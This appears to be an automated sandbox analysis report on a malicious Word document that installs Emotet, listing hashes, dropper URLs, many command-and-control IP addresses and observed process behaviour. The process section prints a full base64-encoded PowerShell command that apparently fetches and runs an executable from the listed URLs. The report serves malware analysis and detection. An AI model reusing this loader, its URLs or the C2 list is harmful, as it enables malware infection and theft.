Analysis
- max time kernel
135s - max time network
149s - platform
windows10_x64 - resource
win10 - submitted
06/08/2020, 13:09
Static task
static1
Behavioral task
behavioral1
Sample
FILE_08760758718904296354.doc
Resource
win7v200722
General
- Target FILE_08760758718904296354.doc
- Size 177KB
- Sample200806-ht8peeecae
- SHA256 3f3985d3551ecc0d3dc38c2c25b3b0017b349ad8b12dcfb32f5b6fbc8cedd939
- MD5 fd7e1d9c33b0a5f0d89667fd2a5a1dc4
- SHA1 592cc82b08a7f4c291cdcd30b543e3cff68b170c
- SHA512 ab66349bcce233ce93279e501642e7012a1c1cbb3fad5d86af2804b308c09e114bc8b4c8c445a6df0f54743bdb1e824f8e798b0ee7d5dd0ca800f7f4a9e5c71d
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://airmidhealthgroup.com/plugins/kb_r_5y5p44z9/
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exe.dropper
https://wksbsolutions.com/picture_library/f9_f03t4_4z/
-
exe.dropper
http://webmotion-design.com/test/ul_tx_n6bfaag/
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exe.dropper
http://wiretube.com.br/assets/kudb3_i3gjx_y52/
-
exe.dropper
http://wolfbird.com/wp-content/2ddcr_bqmi2_d0vmdgu/
Extracted
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emotet
-
204.197.146.48:80
-
212.51.142.238:8080
-
200.55.243.138:8080
-
103.86.49.11:8080
-
83.110.223.58:443
-
139.130.242.43:80
-
41.60.200.34:80
-
110.145.77.103:80
-
183.101.175.193:80
-
50.116.86.205:8080
-
79.98.24.39:8080
-
180.92.239.110:8080
-
203.153.216.189:7080
-
137.59.187.107:8080
-
109.74.5.95:8080
-
61.19.246.238:443
-
209.182.216.177:443
-
162.241.92.219:8080
-
47.153.182.47:80
-
176.111.60.55:8080
-
201.173.217.124:443
-
190.55.181.54:443
-
46.105.131.79:8080
-
181.230.116.163:80
-
116.203.32.252:8080
-
74.208.45.104:8080
-
76.27.179.47:80
-
75.139.38.211:80
-
67.241.24.163:8080
-
104.236.246.93:8080
-
24.234.133.205:80
-
62.138.26.28:8080
-
95.179.229.244:8080
-
157.147.76.151:80
-
142.105.151.124:443
-
200.41.121.90:80
-
104.131.11.150:443
-
209.141.54.221:8080
-
70.167.215.250:8080
-
185.94.252.104:443
-
24.179.13.119:80
-
168.235.67.138:7080
-
65.111.120.223:80
-
5.39.91.110:7080
-
190.160.53.126:80
-
95.213.236.64:8080
-
37.139.21.175:8080
-
139.59.60.244:8080
-
222.214.218.37:4143
-
62.75.141.82:80
-
5.196.74.210:8080
-
157.245.99.39:8080
-
119.198.40.179:80
-
104.131.44.150:8080
-
87.106.139.101:8080
-
93.51.50.171:8080
-
169.239.182.217:8080
-
24.43.99.75:80
-
153.126.210.205:7080
-
189.212.199.126:443
-
91.231.166.124:8080
-
91.211.88.52:7080
-
210.165.156.91:80
-
78.24.219.147:8080
-
152.168.248.128:443
-
47.144.21.12:443
-
114.146.222.200:80
-
113.160.130.116:8443
-
47.146.117.214:80
-
162.154.38.103:80
-
37.187.72.193:8080
-
81.2.235.111:8080
-
121.124.124.40:7080
-
124.45.106.173:443
-
87.106.136.232:8080
Signatures
- Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\msisip\msiwer.exe 705.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 3692 WINWORD.EXE 2128 705.exe 2128 705.exe 2128 705.exe 2716 msiwer.exe 2716 msiwer.exe 2716 msiwer.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3692 WINWORD.EXE 3692 WINWORD.EXE - Blacklisted process makes network request 1 IoCs
flow pid Process 14 812 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2128 705.exe 2716 msiwer.exe - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2128-12-0x00000000005F0000-0x00000000005FC000-memory.dmp emotet behavioral2/memory/2128-12-0x00000000005F0000-0x00000000005FC000-memory.dmp emotet behavioral2/memory/2716-15-0x0000000000680000-0x000000000068C000-memory.dmp emotet behavioral2/memory/2716-15-0x0000000000680000-0x000000000068C000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 812 3876 powersheLL.exe 67 - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 812 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 812 powersheLL.exe 812 powersheLL.exe 812 powersheLL.exe 2716 msiwer.exe 2716 msiwer.exe 2716 msiwer.exe 2716 msiwer.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2128 wrote to memory of 2716 2128 705.exe 76 PID 2128 wrote to memory of 2716 2128 705.exe 76 PID 2128 wrote to memory of 2716 2128 705.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_08760758718904296354.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3692
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABIAFQAWgBDAFcAegBoAGIAPQAnAEgAWABNAFgASgBsAHUAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBpAHQAeQBQAFIATwBUAG8AYwBgAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFIASABCAEUASQBlAGwAZgAgAD0AIAAnADcAMAA1ACcAOwAkAEwAUABFAFoAUgBqAHkAegA9ACcAWQBCAEsAQwBBAHEAaQBkACcAOwAkAFkAVgBCAFUASABmAHMAdQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgBIAEIARQBJAGUAbABmACsAJwAuAGUAeABlACcAOwAkAFYAWgBCAE0ARwB2AGsAdwA9ACcAVABYAFEASgBTAG0AbwB0ACcAOwAkAE0AVABKAFoASQBkAG8AbwA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAEwAaQBlAG4AdAA7ACQARwBYAEoAUgBMAGsAcQBnAD0AJwBoAHQAdABwADoALwAvAGEAaQByAG0AaQBkAGgAZQBhAGwAdABoAGcAcgBvAHUAcAAuAGMAbwBtAC8AcABsAHUAZwBpAG4AcwAvAGsAYgBfAHIAXwA1AHkANQBwADQANAB6ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB3AGsAcwBiAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwBwAGkAYwB0AHUAcgBlAF8AbABpAGIAcgBhAHIAeQAvAGYAOQBfAGYAMAAzAHQANABfADQAegAvACoAaAB0AHQAcAA6AC8ALwB3AGUAYgBtAG8AdABpAG8AbgAtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwB0AGUAcwB0AC8AdQBsAF8AdAB4AF8AbgA2AGIAZgBhAGEAZwAvACoAaAB0AHQAcAA6AC8ALwB3AGkAcgBlAHQAdQBiAGUALgBjAG8AbQAuAGIAcgAvAGEAcwBzAGUAdABzAC8AawB1AGQAYgAzAF8AaQAzAGcAagB4AF8AeQA1ADIALwAqAGgAdAB0AHAAOgAvAC8AdwBvAGwAZgBiAGkAcgBkAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAGQAYwByAF8AYgBxAG0AaQAyAF8AZAAwAHYAbQBkAGcAdQAvACcALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABVAEgAVABZAGEAdgBjAD0AJwBXAFYATQBIAEEAaABsAHUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMASwBQAE8ARwBsAHEAeAAgAGkAbgAgACQARwBYAEoAUgBMAGsAcQBnACkAewB0AHIAeQB7ACQATQBUAEoAWgBJAGQAbwBvAC4AIgBkAE8AdwBgAE4AbABPAEEAZABGAEkAYABsAEUAIgAoACQAQwBLAFAATwBHAGwAcQB4ACwAIAAkAFkAVgBCAFUASABmAHMAdQApADsAJABWAFoASQBJAE8AdgB2AGUAPQAnAFYATwBKAFkATgBnAGoAZgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFkAVgBCAFUASABmAHMAdQApAC4AIgBsAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA3ADQAOQAyACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAVABFACIAKAAkAFkAVgBCAFUASABmAHMAdQApADsAJABDAEEAQgBRAEUAbgBuAGIAPQAnAE0AWABKAFkAWAB0AHQAdQAnADsAYgByAGUAYQBrADsAJABVAEYATQBYAFQAegB6AG4APQAnAFkASABGAFkAVQB4AGoAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABVAEkARQBWAEIAdQB0AHMAPQAnAE0AUQBMAEUAVQBtAGsAbAAnAA==1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:812
-
C:\Users\Admin\705.exeC:\Users\Admin\705.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\SysWOW64\msisip\msiwer.exe"C:\Windows\SysWOW64\msisip\msiwer.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2716
-